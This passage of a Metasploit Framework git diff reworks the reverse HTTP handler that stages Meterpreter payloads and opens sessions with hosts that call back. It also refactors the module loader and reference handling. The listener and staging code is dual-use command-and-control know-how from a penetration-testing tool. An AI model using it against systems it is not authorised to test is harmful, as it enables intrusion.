port > 0 ? port : datastore['LPORT'].to_i + (port > 0) ? port : datastore['LPORT'].to_i end # diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index e4fe6a4c6e..c2aa3d23ca 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -3,7 +3,7 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'rex/payloads/meterpreter/uri_checksum' require 'rex/post/meterpreter' -require 'rex/parser/x509_certificate' +require 'rex/socket/x509_certificate' require 'msf/core/payload/windows/verify_ssl' require 'rex/user_agent' @@ -46,7 +46,8 @@ module ReverseHttp register_options( [ OptString.new('LHOST', [true, 'The local listener hostname']), - OptPort.new('LPORT', [true, 'The local listener port', 8080]) + OptPort.new('LPORT', [true, 'The local listener port', 8080]), + OptString.new('LURI', [false, 'The HTTP Path', '']) ], Msf::Handler::ReverseHttp) register_advanced_options( @@ -63,12 +64,22 @@ module ReverseHttp ], Msf::Handler::ReverseHttp) end - # Return a URI suitable for placing in a payload + def print_prefix + if Thread.current[:cli] + super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) " + else + super + end + end + + # A URI describing where we are listening # + # @param addr [String] the address that # @return [String] A URI of the form +scheme://host:port/+ - def listener_uri(addr) + def listener_uri(addr=datastore['ReverseListenerBindAddress']) + addr = datastore['LHOST'] if addr.nil? || addr.empty? uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr - "#{scheme}://#{uri_host}:#{bind_port}/" + "#{scheme}://#{uri_host}:#{bind_port}#{luri}" end # Return a URI suitable for placing in a payload. @@ -76,29 +87,40 @@ module ReverseHttp # Host will be properly wrapped in square brackets, +[]+, for ipv6 # addresses. # + # @param req [Rex::Proto::Http::Request] # @return [String] A URI of the form +scheme://host:port/+ - def payload_uri(req) + def payload_uri(req=nil) callback_host = nil # Extract whatever the client sent us in the Host header if req && req.headers && req.headers['Host'] - callback_host = req.headers['Host'] + callback_host, callback_port = req.headers['Host'].split(":") + callback_port = callback_port.to_i + callback_port ||= (ssl? ? 443 : 80) end # Override the host and port as appropriate if datastore['OverrideRequestHost'] || callback_host.nil? - callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] - callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] - if Rex::Socket.is_ipv6? callback_name - callback_name = "[#{callback_name}]" - end - callback_host = "#{callback_name}:#{callback_port}" + callback_host = datastore['OverrideLHOST'] + callback_port = datastore['OverrideLPORT'] end - "#{scheme}://#{callback_host}/" + if callback_host.nil? || callback_host.empty? + callback_host = datastore['LHOST'] + end + + if callback_port.nil? || callback_port.zero? + callback_port = datastore['LPORT'] + end + + if Rex::Socket.is_ipv6? callback_host + callback_host = "[#{callback_host}]" + end + + "#{scheme}://#{callback_host}:#{callback_port}" end - # Use the {#refname} to determine whether this handler uses SSL or not + # Use the #refname to determine whether this handler uses SSL or not # def ssl? !!(self.refname.index('https')) @@ -112,8 +134,31 @@ module ReverseHttp (ssl?) ? 'https' : 'http' end + # The local URI for the handler. + # + # @return [String] Representation of the URI to listen on. + def luri + l = datastore['LURI'] || "" + + if l && l.length > 0 + # strip trailing slashes + while l[-1, 1] == '/' + l = l[0...-1] + end + + # make sure the luri has the prefix + if l[0, 1] != '/' + l = "/#{l}" + end + + end + + l.dup + end + # Create an HTTP listener # + # @return [void] def setup_handler local_addr = nil @@ -146,13 +191,10 @@ module ReverseHttp self.service.server_name = datastore['MeterpreterServerName'] - # Create a reference to ourselves - obj = self - # Add the new resource - service.add_resource("/", + service.add_resource((luri + "/").gsub("//", "/"), 'Proc' => Proc.new { |cli, req| - on_request(cli, req, obj) + on_request(cli, req) }, 'VirtualDirectory' => true) @@ -170,7 +212,7 @@ module ReverseHttp # def stop_handler if self.service - self.service.remove_resource('/') + self.service.remove_resource((luri + "/").gsub("//", "/")) if self.service.resources.empty? && self.sessions == 0 Rex::ServiceManager.stop_service(self.service) end @@ -223,25 +265,29 @@ protected # # Parses the HTTPS request # - def on_request(cli, req, obj) + def on_request(cli, req) + Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new info = process_uri_resource(req.relative_resource) uuid = info[:uuid] || Msf::Payload::UUID.new # Configure the UUID architecture and payload if necessary - uuid.arch ||= obj.arch - uuid.platform ||= obj.platform + uuid.arch ||= self.arch + uuid.platform ||= self.platform - conn_id = nil + conn_id = luri if info[:mode] && info[:mode] != :connect - conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) + conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid) + else + conn_id << req.relative_resource + conn_id = conn_id.chomp('/') end - request_summary = "#{req.relative_resource} with UA '#{req.headers['User-Agent']}'" + request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex] - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID: #{request_summary}") + print_status("Ignoring unknown UUID: #{request_summary}") info[:mode] = :unknown_uuid end @@ -249,7 +295,7 @@ protected if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/ allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || [] unless allowed_urls.include?(req.relative_resource) - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID URL: #{request_summary}") + print_status("Ignoring unknown UUID URL: #{request_summary}") info[:mode] = :unknown_uuid_url end end @@ -259,7 +305,7 @@ protected # Process the requested resource. case info[:mode] when :init_connect - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection from #{request_summary}") + print_status("Redirecting stageless connection from #{request_summary}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that @@ -272,11 +318,11 @@ protected resp.body = pkt.to_r when :init_python - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...") + print_status("Staging Python payload...") url = payload_uri(req) + conn_id + '/' blob = "" - blob << obj.generate_stage( + blob << self.generate_stage( http_url: url, http_user_agent: datastore['MeterpreterUserAgent'], http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'], @@ -289,7 +335,7 @@ protected # Short-circuit the payload's handle_connection processing for create_session create_session(cli, { - :passive_dispatcher => obj.service, + :passive_dispatcher => self.service, :conn_id => conn_id, :url => url, :expiration => datastore['SessionExpirationTimeout'].to_i, @@ -301,10 +347,10 @@ protected }) when :init_java - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...") + print_status("Staging Java payload...") url = payload_uri(req) + conn_id + "/\x00" - blob = obj.generate_stage( + blob = self.generate_stage( uuid: uuid, uri: conn_id ) @@ -313,7 +359,7 @@ protected # Short-circuit the payload's handle_connection processing for create_session create_session(cli, { - :passive_dispatcher => obj.service, + :passive_dispatcher => self.service, :conn_id => conn_id, :url => url, :expiration => datastore['SessionExpirationTimeout'].to_i, @@ -325,47 +371,54 @@ protected }) when :init_native - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...") + print_status("Staging Native payload...") url = payload_uri(req) + conn_id + "/\x00" uri = URI(payload_uri(req) + conn_id) resp['Content-Type'] = 'application/octet-stream' - # generate the stage, but pass in the existing UUID and connection id so that - # we don't get new ones generated. - blob = obj.stage_payload( - uuid: uuid, - uri: conn_id, - lhost: uri.host, - lport: uri.port - ) + begin + # generate the stage, but pass in the existing UUID and connection id so that + # we don't get new ones generated. + blob = self.stage_payload( + uuid: uuid, + uri: conn_id, + lhost: uri.host, + lport: uri.port + ) - resp.body = encode_stage(blob) + resp.body = encode_stage(blob) - # Short-circuit the payload's handle_connection processing for create_session - create_session(cli, { - :passive_dispatcher => obj.service, - :conn_id => conn_id, - :url => url, - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :ssl => ssl?, - :payload_uuid => uuid - }) + # Short-circuit the payload's handle_connection processing for create_session + create_session(cli, { + :passive_dispatcher => self.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + :ssl => ssl?, + :payload_uuid => uuid + }) + rescue NoMethodError + print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.") + return + end when :connect - print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...") + print_status("Attaching orphaned/stageless session...") resp.body = '' - conn_id = req.relative_resource + + url = payload_uri(req) + conn_id + url << '/' unless url[-1] == '/' # Short-circuit the payload's handle_connection processing for create_session create_session(cli, { - :passive_dispatcher => obj.service, + :passive_dispatcher => self.service, :conn_id => conn_id, - :url => payload_uri(req) + conn_id + "/\x00", + :url => url + "\x00", :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, @@ -376,7 +429,7 @@ protected else unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode]) - print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{request_summary}") + print_status("Unknown request to #{request_summary}") end resp.code = 200 resp.message = 'OK' @@ -387,7 +440,7 @@ protected cli.send_response(resp) if (resp) # Force this socket to be closed - obj.service.close_client( cli ) + self.service.close_client(cli) end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 7ddb081272..ce37dc2845 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -77,6 +77,10 @@ module ReverseTcp "reverse TCP" end + def payload_uri + "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}" + end + # # Starts monitoring for an inbound connection. # diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index d9fe5f9cb5..f4f845f6d7 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -207,7 +207,7 @@ protected initialize_abstraction self.lsock.extend(TcpReverseDoubleChannelExt) - self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") + self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":") self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") monitor_shell_stdout diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 8e9b5aed46..621d3116d3 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -256,7 +256,7 @@ protected initialize_abstraction self.lsock.extend(TcpReverseDoubleSSLChannelExt) - self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") + self.lsock.peerinfo = @sock_inp.getpeername_as_array[1,2].map{|x| x.to_s}.join(":") self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") monitor_shell_stdout diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index fda6eebe8c..fe39a459b3 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -266,11 +266,10 @@ class Module end # - # Returns true if this module is being debugged. The debug flag is set - # by setting datastore['DEBUG'] to 1|true|yes + # Returns true if this module is being debugged. # def debugging? - (datastore['DEBUG'] || '') =~ /^(1|t|y)/i + datastore['DEBUG'] end # diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb index 2879223d2f..64c846058b 100644 --- a/lib/msf/core/module/deprecated.rb +++ b/lib/msf/core/module/deprecated.rb @@ -60,15 +60,15 @@ module Msf::Module::Deprecated # # @return [void] def print_deprecation_warning - print_warning("*"*72) - print_warning("*%red"+"The module #{refname} is deprecated!".center(70)+"%clr*") + print_warning("*"*90) + print_warning("*%red"+"The module #{refname} is deprecated!".center(88)+"%clr*") if deprecation_date - print_warning("*"+"It will be removed on or about #{deprecation_date}".center(70)+"*") + print_warning("*"+"It will be removed on or about #{deprecation_date}".center(88)+"*") end if replacement_module - print_warning("*"+"Use #{replacement_module} instead".center(70)+"*") + print_warning("*"+"Use #{replacement_module} instead".center(88)+"*") end - print_warning("*"*72) + print_warning("*"*90) end def init_ui(input = nil, output = nil) diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index 97060a3d71..4a71f73454 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -409,6 +409,10 @@ class Msf::Module::Platform Rank = 700 Alias = "10" end + class V11 + Rank = 800 + Alias = "11" + end end # diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index a124881f76..69100552d6 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -77,7 +77,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference # # Initializes a site reference from an array. ary[0] is the site and - # ary[1] is the site context identifier, such as OSVDB. + # ary[1] is the site context identifier, such as CVE. # def self.from_a(ary) return nil if (ary.length < 2) @@ -95,9 +95,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.ctx_id = in_ctx_id self.ctx_val = in_ctx_val - if (in_ctx_id == 'OSVDB') - self.site = "http://www.osvdb.org/#{in_ctx_val}" - elsif (in_ctx_id == 'CVE') + if (in_ctx_id == 'CVE') self.site = "http://cvedetails.com/cve/#{in_ctx_val}/" elsif (in_ctx_id == 'CWE') self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html" @@ -150,7 +148,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference # attr_reader :site # - # The context identifier of the site, such as OSVDB. + # The context identifier of the site, such as CVE. # attr_reader :ctx_id # diff --git a/lib/msf/core/module/search.rb b/lib/msf/core/module/search.rb index 7c2e965b3d..1c836895d4 100644 --- a/lib/msf/core/module/search.rb +++ b/lib/msf/core/module/search.rb @@ -86,8 +86,6 @@ module Msf::Module::Search match = [t,w] if refs.any? { |ref| ref =~ /^cve\-/i and ref =~ r } when 'bid' match = [t,w] if refs.any? { |ref| ref =~ /^bid\-/i and ref =~ r } - when 'osvdb' - match = [t,w] if refs.any? { |ref| ref =~ /^osvdb\-/i and ref =~ r } when 'edb' match = [t,w] if refs.any? { |ref| ref =~ /^edb\-/i and ref =~ r } end diff --git a/lib/msf/core/module/ui/message.rb b/lib/msf/core/module/ui/message.rb index bf4d228abc..c706a35702 100644 --- a/lib/msf/core/module/ui/message.rb +++ b/lib/msf/core/module/ui/message.rb @@ -14,9 +14,8 @@ module Msf::Module::UI::Message def print_prefix prefix = '' - if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || ( - framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i - ) + if datastore['TimestampOutput'] || + (framework && framework.datastore['TimestampOutput']) prefix << "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] " xn ||= datastore['ExploitNumber'] diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb index 1a8d0175b9..a47a7e8f11 100644 --- a/lib/msf/core/module/ui/message/verbose.rb +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -1,21 +1,21 @@ module Msf::Module::UI::Message::Verbose # Verbose version of #print_error def vprint_error(msg='') - print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end # Verbose version of #print_good def vprint_good(msg='') - print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_good(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end # Verbose version of #print_status def vprint_status(msg='') - print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_status(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end # Verbose version of #print_warning def vprint_warning(msg='') - print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] + print_warning(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE']) end end diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index c8ebc14c21..0fe7794797 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -120,6 +120,7 @@ module Msf self.module_info_by_path = {} self.enablement_by_type = {} self.module_load_error_by_path = {} + self.module_load_warnings = {} self.module_paths = [] self.module_set_by_type = {} @@ -146,11 +147,6 @@ module Msf # @param klass [Class] The module class # @return [void] def auto_subscribe_module(klass) - # If auto-subscribe has been disabled - if (framework.datastore['DisableAutoSubscribe'] and - framework.datastore['DisableAutoSubscribe'] =~ /^(y|1|t)/) - return - end # If auto-subscription is enabled (which it is by default), figure out # if it subscribes to any particular interfaces. diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index c5900bd15a..c7bb4a0bb5 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -50,7 +50,7 @@ module Msf::ModuleManager::Loading changed end - attr_accessor :module_load_error_by_path + attr_accessor :module_load_error_by_path, :module_load_warnings # Called when a module is initially loaded such that it can be categorized # accordingly. @@ -122,4 +122,4 @@ module Msf::ModuleManager::Loading count_by_type end -end \ No newline at end of file +end diff --git a/lib/msf/core/module_set.rb b/lib/msf/core/module_set.rb index 6cb34d9baa..f6d7c1e833 100644 --- a/lib/msf/core/module_set.rb +++ b/lib/msf/core/module_set.rb @@ -183,8 +183,8 @@ class Msf::ModuleSet < Hash # @option info [Array] 'files' List of paths to files that defined # +klass+. # @return [Class] The klass parameter modified to have - # {Msf::Module#framework}, {Msf::Module#refname}, {Msf::Module#file_path}, - # and {Msf::Module#orig_cls} set. + # Msf::Module.framework, Msf::Module#refname, Msf::Module#file_path, + # and Msf::Module#orig_cls set. def add_module(klass, reference_name, info = {}) # Set the module's reference_name so that it can be referenced when # instances are created. diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 5f4586efd6..720ccce593 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -3,9 +3,7 @@ # Project # require 'msf/core/modules/loader' -require 'msf/core/modules/namespace' -require 'msf/core/modules/metasploit_class_compatibility_error' -require 'msf/core/modules/version_compatibility_error' +require 'msf/core/modules/error' # Responsible for loading modules for {Msf::ModuleManager}. # @@ -30,9 +28,6 @@ class Msf::Modules::Loader::Base # By calling module_eval from inside the module definition, the lexical scope is captured and available to the code in # module_content. NAMESPACE_MODULE_CONTENT = <<-EOS - # ensure the namespace module can respond to checks during loading - extend Msf::Modules::Namespace - class << self # The loader that originally loaded this module # @@ -103,12 +98,9 @@ class Msf::Modules::Loader::Base # @option options [Boolean] :reload (false) whether this is a reload. # # @return [false] if :force is false and parent_path has not changed. - # @return [false] if exception encountered while parsing module - # content - # @return [false] if the module is incompatible with the Core or API - # version. - # @return [false] if the module does not implement a Metasploit(\d+) - # class. + # @return [false] if exception encountered while parsing module content + # @return [false] if the module is incompatible with the Core or API version. + # @return [false] if the module does not implement a Metasploit class. # @return [false] if the module's is_usable method returns false. # @return [true] if all those condition pass and the module is # successfully loaded. @@ -131,8 +123,6 @@ class Msf::Modules::Loader::Base reload ||= force || file_changed - metasploit_class = nil - module_content = read_module_content(parent_path, type, module_reference_name) if module_content.empty? @@ -140,6 +130,7 @@ class Msf::Modules::Loader::Base return false end + klass = nil try_eval_module = lambda { |namespace_module| # set the parent_path so that the module can be reloaded with #load_module namespace_module.parent_path = parent_path @@ -150,41 +141,24 @@ class Msf::Modules::Loader::Base rescue ::Interrupt raise rescue ::Exception => error - # Hide eval errors when the module version is not compatible - begin - namespace_module.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error - load_error(module_path, version_compatibility_error) - else - load_error(module_path, error) - end - - return false - end - - begin - namespace_module.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error - load_error(module_path, version_compatibility_error) - - return false - end - - begin - metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error load_error(module_path, error) - return false end - unless usable?(metasploit_class) - ilog( - "Skipping module (#{module_reference_name} from #{module_path}) because is_usable returned false.", - 'core', - LEV_1 - ) - + if namespace_module.const_defined?('Metasploit3', false) + klass = namespace_module.const_get('Metasploit3', false) + load_warning(module_path, 'Please change the modules class name from Metasploit3 to MetasploitModule') + elsif namespace_module.const_defined?('Metasploit4', false) + klass = namespace_module.const_get('Metasploit4', false) + load_warning(module_path, 'Please change the modules class name from Metasploit4 to MetasploitModule') + elsif namespace_module.const_defined?('MetasploitModule', false) + klass = namespace_module.const_get('MetasploitModule', false) + else + load_error(module_path, Msf::Modules::Error.new({ + :module_path => module_path, + :module_reference_name => module_reference_name, + :causal_message => 'Invalid module (no MetasploitModule class or module name)' + })) return false end @@ -206,7 +180,7 @@ class Msf::Modules::Loader::Base # Do some processing on the loaded module to get it into the right associations module_manager.on_module_load( - metasploit_class, + klass, type, module_reference_name, { @@ -339,9 +313,9 @@ class Msf::Modules::Loader::Base protected - # Returns a nested module to wrap the Metasploit(1|2|3) class so that it doesn't overwrite other (metasploit) - # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when - # searching constants from inside the Metasploit(1|2|3) class. + # Returns a nested module to wrap the MetasploitModule class so that it doesn't overwrite other (metasploit) + # module's classes. The wrapper module must be named so that active_support's autoloading code doesn't break when + # searching constants from inside the Metasploit class. # # @param namespace_module_names [Array] # {NAMESPACE_MODULE_NAMES} + @@ -351,7 +325,7 @@ class Msf::Modules::Loader::Base # @see NAMESPACE_MODULE_CONTENT def create_namespace_module(namespace_module_names) # In order to have constants defined in Msf resolve without the Msf qualifier in the module_content, the - # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with + # Module.nesting must resolve for the entire nesting. Module.nesting is strictly lexical, and can't be faked with # module_eval(&block). (There's actually code in ruby's implementation to stop module_eval from being added to # Module.nesting when using the block syntax.) All this means is the modules have to be declared as a string that # gets module_eval'd. @@ -432,13 +406,32 @@ class Msf::Modules::Loader::Base log_lines << "#{module_path} failed to load due to the following error:" log_lines << error.class.to_s log_lines << error.to_s - log_lines << "Call stack:" - log_lines += error.backtrace + if error.backtrace + log_lines << "Call stack:" + log_lines += error.backtrace + end log_message = log_lines.join("\n") elog(log_message) end + # Records the load warning to {Msf::ModuleManager::Loading#module_load_warnings} and the log. + # + # @param [String] module_path Path to the module as returned by {#module_path}. + # @param [String] error Error message that caused the warning. + # @return [void] + # + # @see #module_path + def load_warning(module_path, error) + module_manager.module_load_warnings[module_path] = error.to_s + + log_lines = [] + log_lines << "#{module_path} generated a warning during load:" + log_lines << error.to_s + log_message = log_lines.join("\n") + wlog(log_message) + end + # @return [Msf::ModuleManager] The module manager for which this loader is loading modules. attr_reader :module_manager @@ -455,7 +448,7 @@ class Msf::Modules::Loader::Base raise ::NotImplementedError end - # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it + # Returns whether the path could refer to a module. The path would still need to be loaded in order to check if it # actually is a valid module. # # @param [String] path to module without the type directory. @@ -502,8 +495,8 @@ class Msf::Modules::Loader::Base end # Returns an Array of names to make a fully qualified module name to - # wrap the Metasploit(1|2|3) class so that it doesn't overwrite other - # (metasploit) module's classes. Invalid module name characters are + # wrap the MetasploitModule class so that it doesn't overwrite other + # (metasploit) module's classes. Invalid module name characters are # escaped by using 'H*' unpacking and prefixing each code with X so # the code remains a valid module name when it starts with a digit. # @@ -626,28 +619,4 @@ class Msf::Modules::Loader::Base self.class.typed_path(type, module_reference_name) end - # Returns whether the metasploit_class is usable on the current system. Defer's to metasploit_class's #is_usable if - # it is defined. - # - # @param [Msf::Module] metasploit_class As returned by {Msf::Modules::Namespace#metasploit_class} - # @return [false] if metasploit_class.is_usable returns false. - # @return [true] if metasploit_class does not respond to is_usable. - # @return [true] if metasploit_class.is_usable returns true. - def usable?(metasploit_class) - # If the module indicates that it is not usable on this system, then we - # will not try to use it. - usable = false - - if metasploit_class.respond_to? :is_usable - begin - usable = metasploit_class.is_usable - rescue => error - elog("Exception caught during is_usable check: #{error}") - end - else - usable = true - end - - usable - end end diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 46f182e4f6..f311e4b767 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -32,10 +32,6 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base def each_module_reference_name(path, opts={}) whitelist = opts[:whitelist] || [] ::Dir.foreach(path) do |entry| - if entry.downcase == '.svn' - next - end - full_entry_path = ::File.join(path, entry) type = entry.singularize diff --git a/lib/msf/core/modules/metasploit_class_compatibility_error.rb b/lib/msf/core/modules/metasploit_class_compatibility_error.rb deleted file mode 100644 index ae829392cf..0000000000 --- a/lib/msf/core/modules/metasploit_class_compatibility_error.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/modules/error' - -# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant -# with {Msf::Framework::Major} or lower as a number after 'Metasploit', which indicates a compatible Msf::Module. -class Msf::Modules::MetasploitClassCompatibilityError < Msf::Modules::Error - def initialize(attributes={}) - super_attributes = { - :causal_message => 'Missing compatible Metasploit class constant', - }.merge(attributes) - - super(super_attributes) - end -end \ No newline at end of file diff --git a/lib/msf/core/modules/namespace.rb b/lib/msf/core/modules/namespace.rb deleted file mode 100644 index fa65f5fa26..0000000000 --- a/lib/msf/core/modules/namespace.rb +++ /dev/null @@ -1,76 +0,0 @@ -# -*- coding: binary -*- -require 'metasploit/framework/api/version' -require 'metasploit/framework/core/version' - -# Concern for behavior that all namespace modules that wrap Msf::Modules must support like version checking and -# grabbing the version specific-Metasploit* class. -module Msf::Modules::Namespace - # Returns the Metasploit(3|2|1) class from the module_evalled content. - # - # @note The module content must be module_evalled into this namespace module before the return of - # {#metasploit_class} is valid. - # - # @return [Msf::Module] if a Metasploit(3|2|1) class exists in this module - # @return [nil] if such as class is not defined. - def metasploit_class - metasploit_class = nil - - ::Msf::Framework::Major.downto(1) do |major| - # Since we really only care about the deepest namespace, we don't - # need to look for parents' constants. However, the "inherit" - # parameter for const_defined? only exists after 1.9. If we ever - # drop 1.8 support, we can save a few cycles here by passing false - # here. - if const_defined?("Metasploit#{major}") - metasploit_class = const_get("Metasploit#{major}") - - break - end - end - - metasploit_class - end - - def metasploit_class!(module_path, module_reference_name) - metasploit_class = self.metasploit_class - - unless metasploit_class - raise Msf::Modules::MetasploitClassCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end - - metasploit_class - end - - # Raises an error unless {Msf::Framework::VersionCore} and {Msf::Framework::VersionAPI} meet the minimum required - # versions defined in RequiredVersions in the module content. - # - # @note The module content must be module_evalled into this namespace module using module_eval_with_lexical_scope - # before calling {#version_compatible!} is valid. - # - # @param [String] module_path Path from where the module was read. - # @param [String] module_reference_name The canonical name for the module. - # @raise [Msf::Modules::VersionCompatibilityError] if RequiredVersion[0] > Msf::Framework::VersionCore or - # RequiredVersion[1] > Msf::Framework::VersionApi - # @return [void] - def version_compatible!(module_path, module_reference_name) - if const_defined?(:RequiredVersions) - required_versions = const_get(:RequiredVersions) - minimum_core_version = Gem::Version.new(required_versions[0].to_s) - minimum_api_version = Gem::Version.new(required_versions[1].to_s) - - if (minimum_core_version > Metasploit::Framework::Core::GEM_VERSION || - minimum_api_version > Metasploit::Framework::API::GEM_VERSION) - raise Msf::Modules::VersionCompatibilityError.new( - :module_path => module_path, - :module_reference_name => module_reference_name, - :minimum_api_version => minimum_api_version, - :minimum_core_version => minimum_core_version - ) - end - end - end -end - diff --git a/lib/msf/core/modules/version_compatibility_error.rb b/lib/msf/core/modules/version_compatibility_error.rb deleted file mode 100644 index fb52be3fc8..0000000000 --- a/lib/msf/core/modules/version_compatibility_error.rb +++ /dev/null @@ -1,52 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/modules/error' - -# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module} -# if the API or Core version does not meet the minimum requirements defined in the RequiredVersions constant in the -# {Msf::Modules::Loader::Base#read_module_content module content}. -class Msf::Modules::VersionCompatibilityError < Msf::Modules::Error - # @param [Hash{Symbol => Float}] attributes - # @option attributes [Float] :minimum_api_version The minimum {Msf::Framework::VersionAPI} as defined in - # RequiredVersions. - # @option attributes [Float] :minimum_core_version The minimum {Msf::Framework::VersionCore} as defined in - # RequiredVersions. - def initialize(attributes={}) - @minimum_api_version = attributes[:minimum_api_version] - @minimum_core_version = attributes[:minimum_core_version] - - message_parts = [] - message_parts << 'version check' - - if minimum_api_version or minimum_core_version - clause_parts = [] - - if minimum_api_version - clause_parts << "API >= #{minimum_api_version}" - end - - if minimum_core_version - clause_parts << "Core >= #{minimum_core_version}" - end - - clause = clause_parts.join(' and ') - message_parts << "(requires 